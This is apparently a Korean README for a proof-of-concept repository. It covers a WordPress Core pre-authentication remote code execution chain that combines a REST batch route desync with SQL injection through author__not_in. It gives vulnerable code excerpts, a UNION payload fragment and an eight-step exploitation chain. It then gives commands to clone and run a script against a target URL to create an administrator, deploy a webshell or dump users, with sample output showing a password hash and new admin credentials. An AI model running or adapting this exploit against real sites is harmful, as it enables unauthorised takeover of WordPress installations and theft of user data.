
WordPress Core 사전 인증 RCE - REST 일괄 라우트 혼동 및 SQLi (CVE-2026-63030 + CVE-2026-60137)
CVE-2026-63030(CVSS 9.8)과 CVE-2026-60137(CVSS 9.1)은 WordPress Core에서 중요한 사전 인증 원격 코드 실행(Pre-Auth RCE) 체인을 구성합니다. 이 취약점은 기본 WordPress 설치 버전 6.9.0–6.9.4 및 7.0.0–7.0.1에 영향을 미칩니다.
이 체인은 GPT-5.6 Sol Ultra(OpenAI)가 10시간 조금 넘게 약 25달러의 비용으로 자율적으로 발견했습니다. 이는 익스플로잇 브로커 시장에서 $500,000으로 평가되는 취약점 등급입니다.
인증되지 않은 공격자는 다음 단계로 RCE를 달성합니다:
author__not_in을 통한 SQL 인젝션(CVE-2026-60137) — 스칼라 문자열로 absint() 검증 우회WP_Post 객체 위조customize_changeset 하이재킹 — 관리자 신원을 일시적으로 차용parse_request 훅 재진입 — 승격된 권한으로 REST API 재실행POST /wp/v2/users — 새 관리자 계정 생성활성 설치 수: 4억 7,200만 개 이상(전체 웹사이트의 43%)
발견: Adam Kues(Searchlight Cyber)를 통한 GPT-5.6 Sol Ultra, 2026년 7월
체인 PoC: Mustafa Can İPEKÇİ (nukedx)
패치: WordPress 6.9.5 / 7.0.2 / 6.8.6 (2026년 7월 17일)
| 브랜치 | 취약 버전 | 수정 버전 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | SQLi만 해당 (CVE-2026-60137) | 6.8.6 |
WordPress의 REST 배치 프로세서(serve_batch_request_v1)는 $validation[](검증 결과)과 $matches[](라우트 핸들러)라는 두 배열을 유지합니다. wp_parse_url()이 잘못된 형식의 경로(///)에서 실패하면 WP_Error가 검증 체인에는 추가되지만 라우트 매칭 체인에는 추가되지 않습니다:
// class-wp-rest-server.php
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
$requests[] = new WP_Error( 'parse_path_failed', ... );
continue; // ← SKIPS $matches[] — desync by one index
}
익스플로잇은 중첩(재귀) 배치 호출을 사용하여 메서드 제한과 매개변수 검증을 모두 우회합니다.
author__not_in을 통한 SQL 인젝션 (CVE-2026-60137)WP_Query는 is_array() 분기 내에서만 absint() 검증을 적용합니다. author__not_in이 스칼라 문자열로 전달되면 검증이 완전히 건너뛰어집니다:
// class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) ); // ONLY if array
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // scalar passes raw
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // SQL INJECTION
}
페이로드: 0) UNION ALL SELECT ...-- -는 NOT IN 목록을 닫고 임의의 SQL을 추가합니다.
[1] Batch desync → bypass auth + param checks
[2] UNION SELECT → forge 7 fake WP_Post objects in cache
├─ Trigger post — [embed] shortcode
├─ Changeset post — post_type=customize_changeset, post_status=future
├─ Outer partner — post_parent=changeset (Loop 1)
├─ oEmbed target — cache backing
├─ Nav menu item — post_type=nav_menu_item
├─ Request post — post_type=request, post_status=parse (Loop 2)
└─ Inner partner — post_parent=request
[3] oEmbed processing → wp_update_post() → hierarchy cycle detection
[4] Loop 1 fix → writes changeset to DB without overwriting post_content
[5] _wp_customize_publish_changeset() → wp_set_current_user(admin_id)
[6] Loop 2 fix → writes request post → do_action("parse_request")
[7] rest_api_loaded() → serve_request() → batch replayed as ADMIN
[8] POST /wp/v2/users → administrator created
| 요구 사항 | 이유 | 기본 제공? |
|---|---|---|
| 게시된 글 1개 이상 | 루프백 URL로 oEmbed 캐시를 시드 | ✅ "Hello World" |
| 영구 객체 캐시가 없을 것 | split_the_query가 UNION 행을 폐기하지 않아야 함 | ✅ 파일 캐시 |
| REST API 접근 가능 | parse_request를 통한 재진입에 REST 서버 필요 | ✅ |
| 직접 파일 시스템 쓰기 | 플러그인 업로드에 FS_METHOD=direct 필요 | ✅ 대부분의 호스트 |
git clone https://github.com/shinthink/CVE-2026-63030.git
cd CVE-2026-63030
pip3 install -r requirements.txt # or: nothing — stdlib only
# Full chain — create admin account (pre-auth)
python3 cve_2026_63030.py --url https://target.com
# Check only (non-destructive — verify vulnerability)
python3 cve_2026_63030.py --url https://target.com --check
# Full chain + deploy RCE webshell
python3 cve_2026_63030.py --url https://target.com --rce id
# Dump all users via UNION extraction
python3 cve_2026_63030.py --url https://target.com --dump-users
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : https://target.com
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Desync confirmed (markers: parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi — database reconnaissance
[+] Database version : 8.0.46
[+] Database user : wp_user@localhost
[+] Database name : wordpress_db
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [6, 7, 8]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_a1b2c3d4 password: Wp2!e5f6g7h8i9j0
+======================================================================+
| EXPLOITATION COMPLETE |
+======================================================================+
Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0
Login : https://target.com/wp-login.php
| 파일 | 용도 |
|---|---|
cve_2026_63030.py | 단일 대상 익스플로잇(제로 의존성) |
requirements.txt | Python 의존성(필요 없음) |
승인된 보안 테스트 및 교육 목적 연구에만 사용하십시오. 저자는 오용에 대한 책임을 지지 않습니다.